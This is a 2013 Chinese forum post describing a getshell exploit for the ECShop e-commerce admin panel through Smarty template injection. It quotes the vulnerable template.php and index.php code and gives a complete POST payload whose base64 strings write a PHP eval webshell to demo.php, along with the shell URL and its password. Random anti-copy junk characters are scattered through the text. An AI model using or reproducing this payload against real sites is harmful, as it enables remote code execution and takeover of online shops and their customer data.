找回密码
 立即注册
查看: 2711|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 w: H( x- J0 l" G$ [, G9 U
; i3 M: K& b7 f- n而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了% r9 C' `+ @8 T  L
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ m. a0 P& ^5 d5 J" Z% Kadmin/template.php2 k0 V* E' r# [- n  a
6 S. V6 s/ d) K! M
1 if ($_REQUEST['act'] == 'update_library')
* U/ l$ A; c. W2 g
# D) o; Z3 }/ |/ W- b/ F# }7 I2   3 \% |9 |4 B0 U: C
' J* R- @  ~- y; L
3 {
/ C+ G0 `6 U8 w0 Y
/ J+ Z* W' W$ o5 s' ~8 z: _4     check_authz_json('library_manage'); % S4 I3 R  v2 U

7 Q& }* i7 V7 G& L0 h# m# G5   - ]" N% v7 Y) T( w  d
' T) E+ ]6 c! D1 ], s* M* E3 n9 B
6     $html = stripslashes(json_str_iconv($_POST['html'])); : x: K+ w* ^: z. h3 u. t# e3 ?

. a' ^+ K: m9 x7   
' y% Q" a, r. x% F5 o, W& y# }+ p; _% j* x
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 0 ^  e( j9 [& l5 p5 U/ k3 f- r+ s! `
0 m4 R4 e3 ?, O$ S5 k# e
9   
% U9 c$ @; h: n6 \- o' v! p
! @" F' F9 C& j10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 + E5 H  D# Y! n' }0 t$ j

2 {6 M% G! |" G  f+ d8 z11   3 v* n3 T' j+ N+ m% V4 ~. p  L

3 z/ t8 r, c* W8 _12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); / l. H5 r) o6 g3 L9 W' N$ U" \+ t5 F( }
1 [! f# X7 @/ x5 G2 |' u
13   
" C: D6 @1 L6 w6 L0 z
) a6 v( n& g$ q8 }! k14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 2 X! Q0 E9 C6 z" @
# B  B4 [% G# s: s
15     {
! x. k% \' H% C" Y5 J- q/ k& a
2 r. {6 O6 y$ y7 K" X; n8 A16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 n0 y* _5 z1 Z( }1 l( `- t/ h( s  ?
17         make_json_result('', $_LANG['update_lib_success']); & I4 p( N; q: W0 t& S% ?4 g# n

, e# O: P9 w$ b0 k. ]: L2 k8 @18     } $ i  R! W; g; g* k- n
6 F4 m$ f" [6 X, _1 u# [3 Y# @& n1 T
19     else
0 [. o9 J( t0 m7 q  ~2 M9 Z& p& ^5 R0 \9 S: a; x
20     { 6 h% A9 K* b* ]0 ^7 s! h2 w' d/ d: H

* o/ @6 _8 _/ I21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
1 _) K  Y3 Q2 C- P" \" a$ z7 I  i0 J" m4 L6 x  v
22     }
) @2 _7 ]7 Q) z. J: A: U( f8 }+ V& z5 I
23 }
( u+ ]4 A# e( p' q8 h# Z% d% y  i7 k6 L) @2 k
那么找个比较方便调用了模板的文件
: S% Z7 P  L( ?! @index.php
* W$ ~- Q7 |- T, F) W! {1 j1 R  F
' P7 k: t) D( K7 k1 if ($act == 'cat_rec') ( b9 R1 ~! e+ v) _1 C
9 b) e* s" L) j: _
2   
# m8 w1 k% |9 |+ [% e  c; Q! \. ]/ Z' K! ^6 u& c- @
3 { 3 X0 L: ]2 g( X' R% p
, S. U5 _  J" G; j; m
4   
( P* N+ u; {- X2 b2 i/ Q( C/ U% L
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); * t# j! I! E9 H5 Y+ c

, S; I/ p7 z+ t$ ~/ q6   
% \0 [$ M2 s2 z& E% x% M' @
: B% Y1 h+ N4 j* r# I' C# Z7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ v5 f$ U" s5 L1 Y# W2 c
% B0 K  t7 B; [8 M8   8 y' `: }; @) k  z* v
$ W0 |: Y1 A: W5 l
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
9 r/ I4 D( c5 H. a+ k+ W/ t! `  W; J0 N& t) W7 L& J$ H3 E: I3 a+ a3 ~0 X6 Z
10   1 P& r- E$ g9 l7 G  J4 m8 w. |% \
! t& p% r% ^' [5 U" m/ y4 k' g0 a, @
11     include_once('includes/cls_json.php');
: u# z* ^- y$ w  P; C
) r, }! G: D2 V5 U12   ) ~7 Z/ Z! h8 J5 r! a
, n3 `( ^$ @) x- Q  q1 A5 }" T2 y
13     $json = new JSON;
! y: l/ s4 B! e9 Q
# m# L3 s) ^# P8 e14   ) i; ?& U6 u( Q2 C, }& Q

1 W6 L2 V* t) i15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 n+ N1 }2 x: D4 o! t- X0 w5 I, b+ ]5 ], ]! S
16   
. m) C: H  w4 F4 Z; E  P
+ t: J1 N1 b; [+ G3 C. b17     $children = get_children($cat_id); 7 y& d: V, w2 ~- B' S1 J: J

2 n: W2 b; n8 V1 v; G, F+ w& \1 B18   
, y$ S- B& J& H. t  A4 k, o3 g# ?! D6 P, N' f' A
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 - B1 S2 t# J/ ?7 L4 I3 z
* Y3 @) r# [* ^6 M& F' I# S# h/ b1 _
20   
; L- }: I9 |) C' a+ N$ E1 H- [7 s
3 j9 q- I( n3 j0 g; g3 H; T" M21     $smarty->assign('cat_rec_sign', 1);
! ~+ |) H( z$ _: B  R% c2 G) a' ]% r* }
22   
: ?) R  h) L7 L+ I% e- `2 o* \6 I
& o* u. J) s" [) f# I' A23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; S- F. c; H5 _7 C1 h6 J3 x- O2 |: A4 D. I6 Z$ J6 T
24   
6 H1 c8 M5 }9 J+ a9 L0 s- g3 w7 ?$ t' |# x  p7 k% @! D
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
6 ~, D: j( g- c& U# u5 |  ^7 S
26   . H: a) s/ ~* i" A' D$ T& P5 Z2 r

: _7 l5 h' J$ p' z2 e2 L/ |27         echo $rec_array[$rec_type]; . y/ I! ^" }: q  E( ~0 g# G
& J! ~7 ]! }# D5 A- l( u3 d6 ]
28   : j  v* A$ c' J1 [9 L  T

- _, ^7 L+ V7 s! q5 `- C29     die($json->encode($result));
& j5 i+ q6 c. O3 [* f
0 k. N% Z* y$ R$ ]! |6 t2 Q30   ! m+ n7 R3 V& W
" u2 m& B5 R5 o6 N
31 }
. G: u8 a" w& ]6 Q: B1 l6 t5 \
, u0 m9 f; ~+ ?2 a) D' v  A那么就有利用方法了
5 E1 c6 E% m; T0 a( i6 Rpost包到http://localhost/ec/admin/template.php?act=update_library
7 k7 r  ]9 q$ J- F7 RPost内容:4 r* x% V/ s7 D. l6 u! F2 r0 ^% I
) L- U1 T9 {; z) u

+ U6 ?5 k$ f: _4 h& ]" l1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} * q9 e/ m) R: i2 n6 L3 `' V' G

# R9 J1 }1 E/ ?& r0 D9 Y3 H$ z. a然后访问http://localhost/ec/index.php?act=cat_rec5 O, t+ Y+ d8 k" |  @( v+ A5 W

2 s( _, V) S9 l# tshel地址:http://localhost/ec/demo.php' u8 h' x8 d' g- m/ J4 S
密码c6 X# U2 ~$ N+ Y: c1 T2 I
, ~& c: s. p& d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表